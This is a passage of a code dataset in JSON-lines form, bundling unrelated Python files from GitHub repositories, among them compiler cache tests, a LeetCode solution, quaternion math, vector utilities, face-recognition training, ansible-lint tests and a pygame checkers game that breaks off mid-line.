objpkg.KCLSchemaDefTypeObject)\n compiler.pkg_scope.elems[\"@pkg\"].type = None\n self.assertIsInstance(compiler.get_type_from_identifier(identifier), objpkg.KCLAnyTypeObject)\n with self.assertRaises(KCLCompileException):\n compiler.get_type_from_identifier(ast.Identifier(names=[\"pkg\", \"to\", \"type\"]))\n\n\nclass KCLCompilerBuildCacheTest(unittest.TestCase):\n def test_compile_cache(self):\n cache_path = str(pathlib.Path(__file__).parent.joinpath(\"cache_testdata/.kclvm/\"))\n file_path = str(pathlib.Path(__file__).parent.joinpath(\"cache_testdata/main.k\"))\n compiled_program = CompileProgram(LoadProgram(file_path))\n compiled_program = CompileProgram(LoadProgram(file_path))\n if os.path.exists(cache_path):\n shutil.rmtree(cache_path)\n\n def test_compile_expired_cache(self):\n test_data_path_name = \"cache_expired_testdata\"\n rename_test_data_path = \"rename_cache_expired_testdata\"\n root = str(pathlib.Path(__file__).parent.joinpath(test_data_path_name))\n cache_path = str(pathlib.Path(__file__).parent.joinpath(f\"{test_data_path_name}/.kclvm/\"))\n file_path = str(pathlib.Path(__file__).parent.joinpath(f\"{test_data_path_name}/main.k\"))\n rename_test_data_path = str(pathlib.Path(__file__).parent.joinpath(rename_test_data_path))\n ast_program = LoadProgram(file_path)\n compiled_program = CompileProgram(ast_program)\n cached_ast = vfs.LoadPkgCache(root, \"pkg.pkg1\")\n cached_bytecode = vfs.LoadBytecodeCache(root, ast_program)\n self.assertIsNotNone(cached_ast)\n self.assertIsNotNone(cached_bytecode)\n # Rename root to test cache expired\n os.rename(root, rename_test_data_path)\n cached_ast = vfs.LoadPkgCache(rename_test_data_path, \"pkg.pkg1\")\n cached_bytecode = vfs.LoadBytecodeCache(rename_test_data_path, ast_program)\n self.assertIsNotNone(cached_ast)\n self.assertIsNotNone(cached_bytecode)\n # Clear temp file\n os.rename(rename_test_data_path, root)\n if os.path.exists(cache_path):\n shutil.rmtree(cache_path)\n\n\nif __name__ == \"__main__\":\n unittest.main(verbosity=2)\n","repo_name":"kcl-lang/kcl-py","sub_path":"test/test_units/test_kclvm/test_compiler/test_build/test_build.py","file_name":"test_build.py","file_ext":"py","file_size_in_byte":14372,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"36"} +{"seq_id":"37347635384","text":"s = \"barfoothefoobarman\"\nwords = [\"foo\", \"bar\"]\n\n# # You are given a string, s, and a list of words, words,\n# # that are all of the same length. Find all starting indices of substring(s)\n# # in s that is a concatenation of each word in words exactly once and without any intervening characters.\n#\n# # You should return the indices: [0,9].\n# # (order does not matter).\n#\n#\n# Naive approach:\nword_length = len(words[0])\nwords_num = len(words)\nstart_pos = 0\nwords_pos = {}\nresult = []\n\nfor pos in range(len(s)):\n this_word = s[pos:(pos + word_length)]\n if this_word in words:\n words_pos[pos] = this_word\n\n# print(words_pos)\n\n\nfor i in sorted(words_pos.keys()):\n temp_list = [(i + word_length*x) for x in range(words_num)]\n if all(j in words_pos for j in temp_list):\n temp_words_lst = [words_pos[k] for k in temp_list]\n if len(temp_words_lst) == len(set(temp_words_lst)): #wrong because there might be duplicated words\n result.append(i)\n\nprint(result)\n\n#\n#\n# # Version 2\n# import collections\n#\n# s = \"wordgoodgoodgoodbestword\"\n# words = [\"word\",\"good\",\"best\",\"good\"]\n# word_length = len(words[0])\n# words_num = len(words)\n# start_pos = 0\n# words_pos = {}\n# result = []\n#\n# for pos in range(len(s)):\n# this_word = s[pos:(pos + word_length)]\n# if this_word in words:\n# words_pos[pos] = this_word\n#\n# # print(words_pos)\n#\n#\n# for i in sorted(words_pos.keys()):\n# temp_list = [(i + word_length*x) for x in range(words_num)]\n# if all(j in words_pos for j in temp_list):\n# temp_words_lst = [words_pos[k] for k in temp_list]\n# # hash count, O(n); can use sorted(x) == sorted(y), O(nlogn)\n# if collections.Counter(temp_words_lst) == collections.Counter(words):\n# result.append(i)\n#\n# print(result)\n# # Run time error\n\n\n# Version 3\n# since the length of words were all the same, we just need to read a fixed length of string, start at pos 0\n# for e.g., words contains 2*3 strings, we need to read 6 length string at one time. so if in this 6 length\n# string, the word count is the same as it should be, we just return the first index; else move forward.\n\nword_length = len(words[0])\nwords_num = len(words)\nstart_pos = 0\nwords_count = {}\ntemp_words_count = {}\nresult = []\nfor i in words:\n try:\n words_count[i] += 1\n except:\n words_count[i] = 1\n\nprint(words_count)\n\nstart_pos = 0\nwhile start_pos <= (len(s) - words_num*word_length):\n\n break_pos = start_pos + words_num*word_length\n i = start_pos\n print(start_pos, break_pos)\n while i < break_pos:\n this_word = s[i:(i+word_length)]\n print(this_word)\n if this_word in words:\n try:\n temp_words_count[this_word] += 1\n except:\n temp_words_count[this_word] = 1\n if temp_words_count[this_word] > words_count[this_word]:\n temp_words_count = {}\n break\n elif temp_words_count == words_count:\n temp_words_count = {}\n result.append(start_pos)\n else:\n temp_words_count = {}\n break\n i += word_length\n start_pos += 1\n\nprint(result)\n\n","repo_name":"luoy2/leetcode-python","sub_path":"30. Substring with Concatenation of All Words.py","file_name":"30. Substring with Concatenation of All Words.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74667029545","text":"# -*- coding: utf-8 -*-\r\nfrom math import pi, cos, sin, atan2, asin\r\nimport numpy as np\r\nimport quaternion\r\n\r\n# take a unit quaternion:\r\nq = quaternion.from_rotation_vector([1, 2, 3])\r\n\r\n# convert it to a rotation matrix:\r\nR = quaternion.as_rotation_matrix(q)\r\n\r\n\r\n# https://www.euclideanspace.com/maths/geometry/rotations/euler/index.htm\r\ndef quaternion2hab(q):\r\n c = 180 / pi\r\n if q.x*q.y + q.z*q.w == 0.5: # north pole\r\n heading = 2 * atan2(q.x, q.w) * c\r\n attitude = 90\r\n bank = 0\r\n elif q.x*q.y + q.z*q.w == - 0.5: # south pole\r\n heading = - 2 * atan2(q.x, q.w) * c\r\n attitude = - 90\r\n bank = 0\r\n else:\r\n heading = atan2(2*(q.y*q.w - q.x*q.z) , 1 - 2*(q.y*q.y + q.z*q.z)) * c\r\n attitude = asin(2*(q.x*q.y + q.z*q.w)) * c\r\n bank = atan2(2*(q.x*q.w - q.y*q.z), 1 - 2*(q.x*q.x + q.z*q.z)) * c\r\n return (heading, attitude, bank)\r\n\r\n# then the rotation is Ry(h) @ Rz(a) @ Rx(b)\r\n\r\n# b = bank\r\n# Rx = np.array([\r\n# [1, 0, 0],\r\n# [0, cos(b), -sin(b)],\r\n# [0, sin(b), cos(b)] \r\n# ])\r\n\r\n# h = heading\r\n# Ry = np.array([\r\n# [ cos(h), 0, sin(h)],\r\n# [0 , 1, 0],\r\n# [-sin(h), 0, cos(h)] \r\n# ])\r\n\r\n# a = attitude\r\n# Rz = np.array([\r\n# [cos(a), -sin(a), 0],\r\n# [sin(a), cos(a), 0],\r\n# [0 , 0, 1] \r\n# ])\r\n\r\n# Ry @ Rz @ Rx\r\n\r\n\r\n","repo_name":"stla/PyVistaMiscellanous","sub_path":"quaternion2hab.py","file_name":"quaternion2hab.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"} +{"seq_id":"7299902229","text":"import os\nimport sys\nimport time\nimport math\nimport logging\n\nlog_info = logging.info\nlog_debug = logging.debug\nlog_warning = logging.warning\nlog_shutdown = logging.shutdown\n\nlog_level = {\n 'warning':logging.WARNING, \n 'debug':logging.DEBUG, \n 'info':logging.INFO\n }\n\ndef log_init(fname, loglevel):\n \"\"\"\n Initialize the data logging to `write only` and `stream to console`.\n \n Args:\n fname(str): the file name for the data log.\n loglevel(int): logging level as defined in module:.\n \n Returns:\n object(`logging.RootLogger`): a root looger object as is instantiated.\n \"\"\"\n if not os.path.isdir('log'):\n os.system(\"mkdir log\")\n \n path = \"log/%s\" % fname\n \n logging.basicConfig(\n level=loglevel,\n format = '%(asctime)s %(filename)-8s %(levelname)-8s %(message)s',\n filename = path,\n filemode = 'w',\n datefmt = '%H:%M:%S'\n )\n \n formatter = logging.Formatter('%(filename)-8s %(levelname)-8s %(message)s')\n console = logging.StreamHandler()\n console.setLevel(loglevel)\n console.setFormatter(formatter)\n \n logger = logging.getLogger()\n logger.addHandler(console)\n\t\n logger.info('Logging file established: %s' % path)\n for delay in xrange(0, 10):\n time.sleep(0.2)\n \n return logger\n\ndef get_latest_log(fname):\n \"\"\"\n Get the latest log number and establish a new one with 1 increment in the ID.\n \n Args:\n fname(str): the file name for a text file containing the last logging ID.\n \n Returns:\n int: logging ID for the log this time. \n \"\"\"\n if not os.path.isdir('log'):\n os.system(\"mkdir log\")\n \n path = \"log/%s\" % fname\n \n if not os.path.isfile(path):\n latest = open(path, 'w')\n latest.write('0')\n latest.close()\n log_id = 0\n \n else:\n latest = open(path, 'r')\n log_id = int(latest.read()) + 1\n latest.close()\n latest = open(path, 'w')\n latest.write(str(log_id))\n latest.close()\n \n return log_id\n \ndef vec_norm2(vector):\n \"\"\"\n Return the Euclidian 2-module of a vector.\n \n Args:\n vector(int/float/list): the vector to be evaluated.\n \n Returns:\n float: the Euclidian 2-module of vector. \n \"\"\"\n if type(vector) is list: \n retval = 0 \n for idx in xrange(0, len(vector)):\n retval = retval + vector[idx]*vector[idx]\n \n retval = math.sqrt(retval)\n \n elif type(vector) is int or type(vector) is float:\n retval = float(vector)\n \n else:\n raise Exception('Input invalid.')\n \n return retval\n \ndef vec_scal(vector, a=1.0):\n \"\"\"\n Scale the vector with a.\n \n Args:\n vector(int/float/list): the vector to be scaled.\n a(float): the scaling factor, default 1.0.\n \n Returns:\n float/list: the scaled vector as a*vector.\n \"\"\"\n if type(vector) is list: \n retval = [] \n for idx in xrange(0, len(vector)):\n retval.insert(idx, a*vector[idx])\n \n elif type(vector) is int or type(vector) is float:\n retval = float(a*vector)\n \n else:\n raise Exception('Input invalid.')\n \n return retval\n \ndef vec_sub(v1, v2):\n \"\"\"\n Return the difference of two vectors as (v2-v1).\n \n Args:\n v1(int/float/list): the subtrahend vector.\n v2(int/float/list): the minuend vector.\n \n Returns:\n float/list: the difference vector of (v2-v1). \n \"\"\"\n if type(v1) is list and type(v2) is list:\n if len(v1) == len(v2):\n retval = []\n for idx in xrange(0, len(v1)):\n retval.insert(idx, v2[idx] - v1[idx])\n \n else:\n raise Exception('Dimension mismatch!')\n \n elif ((type(v1) is int or type(v1) is float) and \n (type(v2) is int or type(v2) is float)):\n retval = float(v2-v1)\n \n else:\n raise Exception('Type incorrect!')\n \n return retval\n \ndef vec_add(v1, v2):\n \"\"\"\n Return the sum of two vectors as (v1+v2).\n \n Args:\n v1(int/float/list): the first vector.\n v2(int/float/list): the second vector.\n \n Returns:\n float/list: the sum vector of (v1+v2).\n \"\"\"\n if type(v1) is list and type(v2) is list:\n if len(v1) == len(v2):\n retval = []\n for idx in xrange(0, len(v1)):\n retval.insert(idx, v1[idx] + v2[idx])\n \n else:\n raise Exception('Dimension mismatch!')\n \n elif ((type(v1) is int or type(v1) is float) and \n (type(v2) is int or type(v2) is float)):\n retval = float(v1+v2)\n \n else:\n raise Exception('Type incorrect!')\n \n return retval\n ","repo_name":"WeskerYuan/flydan","sub_path":"src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":4916,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"36"} +{"seq_id":"41936888362","text":"import csv\nimport os, cv2\nimport numpy as np\nimport pandas as pd\nimport datetime\nimport time\nfrom PIL import ImageTk, Image\n\nhaarcasecade_path=\"C:\\\\Users\\\\mahet\\\\PycharmProjects\\\\DE_2nd\\\\haarcascade_frontalface_default.xml\"\ntrainimage_path=\"C:\\\\Users\\\\mahet\\\\PycharmProjects\\\\DE_2nd\\\\dataset\\\\train\\\\\"\ntestimage_path=\"C:\\\\Users\\\\mahet\\\\PycharmProjects\\\\DE_2nd\\\\dataset\\\\train\\\\\"\ntrainimagelabel_path=\"C:\\\\Users\\\\mahet\\\\PycharmProjects\\\\DE_2nd\\\\training_data.yml\"\n\n\ndef get_items_and_labels(trainimage_path):\n faces=[]\n ids=[]\n finalpath=trainimage_path\n for j in os.listdir(finalpath):\n print(j)\n for k in os.listdir(finalpath+j+\"\\\\\"):\n # print(k)\n pilImage=Image.open(finalpath+j+\"\\\\\"+k).convert(\"L\")\n # break\n img = np.array(pilImage, \"uint8\")\n id=(j).split('_')\n print(id)\n id=id[1]\n print(id)\n # print(id[0])\n id=int(id)\n print(id)\n ids.append(id)\n faces.append(img)\n # print(name)\n # print(id)\n\n return faces,ids\n\n# name,id=get_items_and_labels(trainimage_path)\n\n\n\n\n\n\n\n\n\n\ndef train_model():\n recognizer = cv2.face.LBPHFaceRecognizer_create()\n detector = cv2.CascadeClassifier(haarcasecade_path)\n faces, id = get_items_and_labels(trainimage_path)\n # faces,s_id=get_images_and_labels(student_names,id)\n recognizer.train(faces, np.array(id))\n recognizer.save(trainimagelabel_path)\n res = \"Image Trained successfully\"\n\n print(res)\n\ntrain_model()","repo_name":"kishan0024/Attendance-Management-System-","sub_path":"train1.py","file_name":"train1.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"6273503143","text":"from tests.e2e.cloudformation.testing import _test_template\n\ncf_tpl = {\n \"AWSTemplateFormatVersion\": \"2010-09-09\",\n \"Parameters\": {\"VPCID\": {\"Type\": \"String\"}},\n \"Metadata\": {\n \"AWS::CloudFormation::Interface\": {\n \"ParameterGroups\": [\n {\n \"Label\": {\"default\": \"Network Configuration\"},\n \"Parameters\": [\"VPCID\", \"SubnetId\", \"SecurityGroupID\"],\n },\n {\n \"Label\": {\"default\": \"Amazon EC2 Configuration\"},\n \"Parameters\": [\"InstanceType\", \"KeyName\"],\n },\n ],\n \"ParameterLabels\": {\n \"VPCID\": {\"default\": \"Which VPC should this be deployed to?\"}\n },\n }\n },\n}\n\nros_tpl = {\n \"ROSTemplateFormatVersion\": \"2015-09-01\",\n \"Parameters\": {\n \"VPCID\": {\"Type\": \"String\", \"Label\": \"Which VPC should this be deployed to?\"}\n },\n \"Metadata\": {\n \"ALIYUN::ROS::Interface\": {\n \"ParameterGroups\": [\n {\n \"Label\": {\"default\": \"Network Configuration\"},\n \"Parameters\": [\"VPCID\", \"SubnetId\", \"SecurityGroupID\"],\n },\n {\n \"Label\": {\"default\": \"Amazon EC2 Configuration\"},\n \"Parameters\": [\"InstanceType\", \"KeyName\"],\n },\n ]\n }\n },\n}\n\n\ndef test_template():\n _test_template(cf_tpl, ros_tpl)\n","repo_name":"aliyun/alibabacloud-ros-tool-transformer","sub_path":"tests/e2e/cloudformation/builtin/test_meta_data.py","file_name":"test_meta_data.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"36"} +{"seq_id":"216553880","text":"#!/usr/bin/env python3.7\n\nimport argparse\n\nimport mindspore as ms\nimport mindspore.ops.operations.kungfu_comm_ops as kfops\nimport numpy as np\n\n\ndef parse_args():\n p = argparse.ArgumentParser()\n p.add_argument('--device',\n type=str,\n default=\"CPU\",\n choices=['Ascend', 'GPU', 'CPU'])\n return p.parse_args()\n\n\ndef main():\n args = parse_args()\n ms.context.set_context(mode=ms.context.GRAPH_MODE,\n device_target=args.device)\n\n with kfops.KungFuContext(device=args.device):\n all_reduce = kfops.KungFuAllReduce()\n x = ms.Tensor(np.array([1.0, 2.0, 3.0]).astype(np.float32))\n print(x)\n y = all_reduce(x)\n print(y)\n\n\nmain()\n","repo_name":"kungfu-team/kungfu-mindspore","sub_path":"benchmarks/hello_world.py","file_name":"hello_world.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"25903549654","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/3/27 13:13\n# @Author : glacier\n# @Email : 2284711614@qq.com\n# @File : download_media.py\n# @Software: PyCharm\n\nimport os\nimport requests\n\n\ndef do_load_media(url, path):\n try:\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.3.2.1000 Chrome/30.0.1599.101 Safari/537.36\"}\n pre_content_length = 0 # 前次下载的数据长度(大小)\n # 接收视频数据\n while True:\n # 若文件存在则断点续传\n if os.path.exists(path):\n headers['Range'] = 'bytes=%d-' % os.path.getsize(path)\n res = requests.get(url, stream=True, headers=headers)\n content_length = int(res.headers['content-length'])\n # 若当前报文长度小于前次报文长度,或者已接收文件等于当前报文长度,则可以认为视频接收完成\n if content_length < pre_content_length or (\n os.path.exists(path) and os.path.getsize(path) == content_length):\n break\n pre_content_length = content_length\n # 写入收到的视频数据\n with open(path, 'ab') as file:\n file.write(res.content)\n file.flush()\n print('receive data,file size : %d total size:%d' % (os.path.getsize(path), content_length))\n except Exception as e:\n print(e)\n","repo_name":"GlacierBo/python_learn","sub_path":"python_spider/python_spider_wangjin/download_media.py","file_name":"download_media.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"42194358957","text":"from django.shortcuts import render\nfrom django.http import JsonResponse\n\n\n# Create your views here.\ndef index (request):\n return render(request, \"index.html\")\n\n\ndef team (request):\n return render(request, \"team.html\")\n\ndef graph(request):\n # Assuming you have the image source URL stored in a variable called 'img_src'\n img_src = 'path/to/image.png'\n context = {'img_src': img_src}\n return render(request, 'graph.html', context)\n\n\nfrom .calculations import generate_plot\n\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nimport json\n\n@csrf_exempt\ndef generate_plot_view(request):\n if request.method == 'POST':\n data = json.loads(request.body)\n input1 = float(data['input1'])\n input2 = float(data['input2'])\n\n plot_data = generate_plot(input1, input2)\n\n response_data = {\n 'plot_data': plot_data\n }\n\n return JsonResponse(response_data)\n else:\n return JsonResponse({'error': 'Invalid request method'})\n","repo_name":"Ritvik123487/Effluentdata","sub_path":"application/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"10301444584","text":"import wave \nimport matplotlib.pyplot as plt\nimport numpy as np\n\nobj = wave.open(\"curious.wav\",\"rb\")\n\nsample_freq = obj.getframerate()\nn_samples = obj.getnframes()\nsignal_wave = obj.readframes(-1)\n\nobj.close()\n\nt_audio = n_samples / sample_freq\nsignal_array = np.frombuffer(signal_wave,dtype=np.int16)\ntimes = np.linspace(0,t_audio,num = 2*n_samples)\n\nsize_min_time = min(signal_array.shape[0],times.shape[0])\n\nsignal_array = signal_array[0:size_min_time]\ntimes = times[0:size_min_time]\n\n\nprint(\"t_audio\",t_audio,sep=\" : \")\nprint(\"signal_array\",signal_array,sep=\" : \")\nprint(\"times\",times,sep=\" : \")\n\nprint(min(signal_array),max(signal_array))\n\nplt.figure(figsize=(15,5))\nplt.plot(times,signal_array)\nplt.ylabel(\"Signal wave\")\nplt.xlabel(\"Time (s)\")\nplt.xlim(0,t_audio)\n\nplt.ylim(-50000,50000)\nplt.show()","repo_name":"rizal-mujahiddan69/NLP_Projectku","sub_path":"Basic_01/plot_audio.py","file_name":"plot_audio.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13933423398","text":"import click.testing\nimport pytest\n\nfrom uceasy import console\n\n\n@pytest.fixture\ndef runner():\n return click.testing.CliRunner()\n\n\n@pytest.mark.e2e\ndef test_main_succeeds_in_production(runner):\n result = runner.invoke(console.cli)\n assert result.exit_code == 0\n\n\n@pytest.mark.e2e\ndef test_quality_control(context, runner):\n params = [\n \"trim\",\n \"--output\",\n context[\"output\"] + \"/qc\",\n context[\"raw_fastq\"],\n context[\"csv_file\"],\n ]\n result = runner.invoke(console.cli, params)\n assert result.exit_code == 0\n\n\n@pytest.mark.e2e\ndef test_assembly(context, runner):\n params = [\n \"assemble\",\n \"--output\",\n context[\"output\"] + \"/assembly\",\n context[\"clean_fastq\"],\n ]\n result = runner.invoke(console.cli, params)\n assert result.exit_code == 0\n\n\n@pytest.mark.e2e\ndef test_alignment_pipeline(context, runner):\n params = [\n \"align\",\n \"--charsets\",\n \"--internal-trimming\",\n \"--percent\",\n \"0.75\",\n \"--output\",\n context[\"output\"] + \"/alignment\",\n context[\"contigs\"],\n context[\"probes\"],\n ]\n result = runner.invoke(console.cli, params)\n assert result.exit_code == 0\n","repo_name":"uceasy/uceasy","sub_path":"tests/test_console.py","file_name":"test_console.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"36"} +{"seq_id":"69886478506","text":"import os\nimport unittest\n\nimport ansiblelint\nfrom ansiblelint import Runner, RulesCollection\nimport ansiblelint.formatters\n\n\nclass TestRule(unittest.TestCase):\n\n def setUp(self):\n rulesdir = os.path.join('lib', 'ansiblelint', 'rules')\n self.rules = RulesCollection.create_from_directory(rulesdir)\n\n def test_runner_count(self):\n filename = 'test/nomatchestest.yml'\n runner = Runner(self.rules, filename, [], [], [])\n assert (len(runner.run()) == 0)\n\n def test_unicode_runner_count(self):\n filename = 'test/unicode.yml'\n runner = Runner(self.rules, filename, [], [], [])\n assert (len(runner.run()) == 1)\n\n def test_unicode_standard_formatting(self):\n filename = 'test/unicode.yml'\n runner = Runner(self.rules, filename, [], [], [])\n matches = runner.run()\n formatter = ansiblelint.formatters.Formatter()\n formatter.format(matches[0])\n\n def test_unicode_parseable_colored_formatting(self):\n filename = 'test/unicode.yml'\n runner = Runner(self.rules, filename, [], [], [])\n matches = runner.run()\n formatter = ansiblelint.formatters.ParseableFormatter()\n formatter.format(matches[0], colored=True)\n\n def test_unicode_quiet_colored_formatting(self):\n filename = 'test/unicode.yml'\n runner = Runner(self.rules, filename, [], [], [])\n matches = runner.run()\n formatter = ansiblelint.formatters.QuietFormatter()\n formatter.format(matches[0], colored=True)\n\n def test_unicode_standard_color_formatting(self):\n filename = 'test/unicode.yml'\n runner = Runner(self.rules, filename, [], [], [])\n matches = runner.run()\n formatter = ansiblelint.formatters.Formatter()\n formatter.format(matches[0], colored=True)\n\n def test_runner_excludes_paths(self):\n filename = 'examples/lots_of_warnings.yml'\n excludes = ['examples/lots_of_warnings.yml']\n runner = Runner(self.rules, filename, [], [], excludes)\n assert (len(runner.run()) == 0)\n\n def test_runner_block_count(self):\n filename = 'test/block.yml'\n runner = Runner(self.rules, filename, [], [], [])\n assert (len(runner.run()) == 0)\n\n def test_runner_become_count(self):\n filename = 'test/become.yml'\n runner = Runner(self.rules, filename, [], [], [])\n assert (len(runner.run()) == 0)\n\n def test_runner_empty_tags_count(self):\n filename = 'test/emptytags.yml'\n runner = Runner(self.rules, filename, [], [], [])\n assert (len(runner.run()) == 0)\n\n def test_runner_encrypted_secrets(self):\n from pkg_resources import parse_version\n import ansible\n # Only run this test for ansible 2.3+\n # It checks ansible-lint's parsing of yaml files that contain\n # encrypted secrets.\n if parse_version(ansible.__version__) >= parse_version('2.3'):\n filename = 'test/contains_secrets.yml'\n runner = Runner(self.rules, filename, [], [], [])\n assert (len(runner.run()) == 0)\n\n def test_dir_with_trailing_slash(self):\n filename = 'test/'\n runner = Runner(self.rules, filename, [], [], [])\n assert (list(runner.playbooks)[0][1] == 'role')\n\n def test_dir_with_fullpath(self):\n filename = os.path.abspath('test')\n runner = Runner(self.rules, filename, [], [], [])\n assert (list(runner.playbooks)[0][1] == 'role')\n\n def test_files_not_scanned_twice(self):\n checked_files = set()\n\n filename = os.path.abspath('test/common-include-1.yml')\n runner = Runner(self.rules, filename, [], [], [], 0, checked_files)\n run1 = runner.run()\n\n filename = os.path.abspath('test/common-include-2.yml')\n runner = Runner(self.rules, filename, [], [], [], 0, checked_files)\n run2 = runner.run()\n\n assert ((len(run1) + len(run2)) == 1)\n","repo_name":"dholdaway/Best-Practices_And_Examples","sub_path":"Ansible/test/TestRunner.py","file_name":"TestRunner.py","file_ext":"py","file_size_in_byte":3933,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"} +{"seq_id":"10020086881","text":"import random\nimport runpy\nfrom tkinter import Tk\nfrom tkinter.filedialog import askopenfilename\n\nimport functions\nimport settings as s\nfrom classes import *\n\npygame.init()\n\nold_width = s.width\nold_height = s.height\n\n# корректировка размеров экрана\nif s.left > s.top:\n cell_length = (s.width - s.left - s.right) // s.lines\n s.height = cell_length * s.cols + s.top + s.bottom\nelse:\n cell_length = (s.width - s.top - s.bottom) // s.lines\n s.width = cell_length * s.lines + s.left + s.right\n\nsize = (s.width, s.height)\nscreen = pygame.display.set_mode(size)\n\npygame.display.set_caption('Checkers')\npygame.display.set_icon(pygame.transform.scale(functions.load_image('icon.ico'), (32, 32)))\n\nim_w_ch = pygame.transform.scale(functions.load_image('white_checker.png'), (cell_length, cell_length))\n\nim_w_ch_k1 = pygame.transform.scale(functions.load_image('white_ch-k1.png'), (cell_length, cell_length))\nim_w_ch_k2 = pygame.transform.scale(functions.load_image('white_ch-k2.png'), (cell_length, cell_length))\nim_w_ch_k3 = pygame.transform.scale(functions.load_image('white_ch-k3.png'), (cell_length, cell_length))\n\nim_w_k = pygame.transform.scale(functions.load_image('white_king.png'), (cell_length, cell_length))\n\nim_b_ch = pygame.transform.scale(functions.load_image('black_checker.png'), (cell_length, cell_length))\n\nim_b_ch_k1 = pygame.transform.scale(functions.load_image('black_ch-k1.png'), (cell_length, cell_length))\nim_b_ch_k2 = pygame.transform.scale(functions.load_image('black_ch-k2.png'), (cell_length, cell_length))\nim_b_ch_k3 = pygame.transform.scale(functions.load_image('black_ch-k3.png'), (cell_length, cell_length))\n\nim_b_k = pygame.transform.scale(functions.load_image('black_king.png'), (cell_length, cell_length))\n\nall_sprites = pygame.sprite.Group()\nbuttons_sprites = pygame.sprite.Group()\nboard = Board(cell_length)\n\n# добавление шашек на доску\nif s.arrangement:\n # по загруженному файлу\n line, col = 0, 0\n if s.arrangement[0] == 'w':\n s.moving_color = 'white'\n elif s.arrangement[0] == 'b':\n s.moving_color = 'black'\n for char in s.arrangement[2:]:\n if line < s.lines and col < s.cols and line % 2 != col % 2:\n if char.lower() == 'w':\n checker = Checker(col, line, 'white', all_sprites, im_w_ch, cell_length)\n board.board.append(checker)\n if char == 'W' or line == 0:\n checker.change_status([[im_w_ch_k1, im_w_ch_k2, im_w_ch_k3, im_w_k],\n [im_b_ch_k1, im_b_ch_k2, im_b_ch_k3, im_b_k]])\n\n elif char.lower() == 'b':\n checker = Checker(col, line, 'black', all_sprites, im_b_ch, cell_length)\n board.board.append(checker)\n if char == 'B' or line == s.lines - 1:\n checker.change_status([[im_w_ch_k1, im_w_ch_k2, im_w_ch_k3, im_w_k],\n [im_b_ch_k1, im_b_ch_k2, im_b_ch_k3, im_b_k]])\n\n if char != '\\n':\n col += 1\n if col == s.cols:\n col = 0\n line += 1\nelse:\n # по стандарту\n for line in range(s.lines - 3, s.lines):\n for col in range((line + 1) % 2, 8, 2):\n checker = Checker(col, line, 'white', all_sprites, im_w_ch, cell_length)\n board.board.append(checker)\n\n for line in range(0, 3):\n for col in range((line + 1) % 2, 8, 2):\n checker = Checker(col, line, 'black', all_sprites, im_b_ch, cell_length)\n board.board.append(checker)\n\nif s.player_color == 'black':\n board.rotate()\nselected_checker = None\n\nfont = pygame.font.Font(None, (s.left - s.left // 20) // 5)\n\n# кнопки, текст и фон для паузы\nfont_pause = pygame.font.Font(None, s.width // 5)\nstr_pause = 'Пауза'\ntext_pause = font_pause.render(str_pause, 1, (255, 255, 255))\n\nBLACK = (0, 0, 0, 128)\nblack_background = pygame.Surface(size, pygame.SRCALPHA)\npygame.draw.rect(black_background, BLACK, black_background.get_rect(), 0)\n\nbutton_continue = Button(functions.load_image('button_continue.png'), buttons_sprites)\nbutton_continue.set_pos(s.width // 2 - button_continue.rect.width // 2, s.height // 4)\n\nbutton_save = Button(functions.load_image('button_save.png'), buttons_sprites)\nbutton_save.set_pos(s.width // 2 - button_save.rect.width // 2, s.height // 2)\n\nbutton_main_menu = Button(functions.load_image('button_main_menu.png'), buttons_sprites)\nbutton_main_menu.set_pos(s.width // 2 - button_main_menu.rect.width // 2,\n s.height - button_main_menu.rect.height - s.height // 11)\n\nFPS = 20\nclock = pygame.time.Clock()\n\nis_paused = False\nrunning = True\nreplay = False # для AI\n\nwhile running:\n black_ch = [checker for checker in board.board if checker.color == 'black']\n white_ch = [checker for checker in board.board if checker.color == 'white']\n\n screen.fill(pygame.Color('black'))\n board.render(screen, selected_checker)\n all_sprites.draw(screen)\n\n str_turn = 'Ход: черных' if s.moving_color == 'black' else 'Ход: белых'\n text_turn = font.render(str_turn, 1, (255, 255, 255))\n screen.blit(text_turn, (s.left // 20, s.top))\n\n str_white_count = functions.declination(white_ch, 'белые')\n text_white_count = font.render(str_white_count, 1, (255, 255, 255))\n screen.blit(text_white_count, (s.left // 20, s.height - 2 * (s.left - s.left // 20) // 5))\n\n str_black_count = functions.declination(black_ch, 'черные')\n text_black_count = font.render(str_black_count, 1, (255, 255, 255))\n screen.blit(text_black_count, (s.left // 20, s.height - (s.left - s.left // 20) // 5))\n\n if is_paused:\n screen.blit(black_background, (0, 0))\n buttons_sprites.draw(screen)\n screen.blit(text_pause, (s.width // 2 - text_pause.get_rect().width // 2, s.height // 20))\n\n pygame.display.flip()\n\n if s.AI and player_color != s.moving_color: # ход AI\n pygame.time.wait(500)\n if replay:\n moving_ch = [kill_ch]\n else:\n moving_ch = 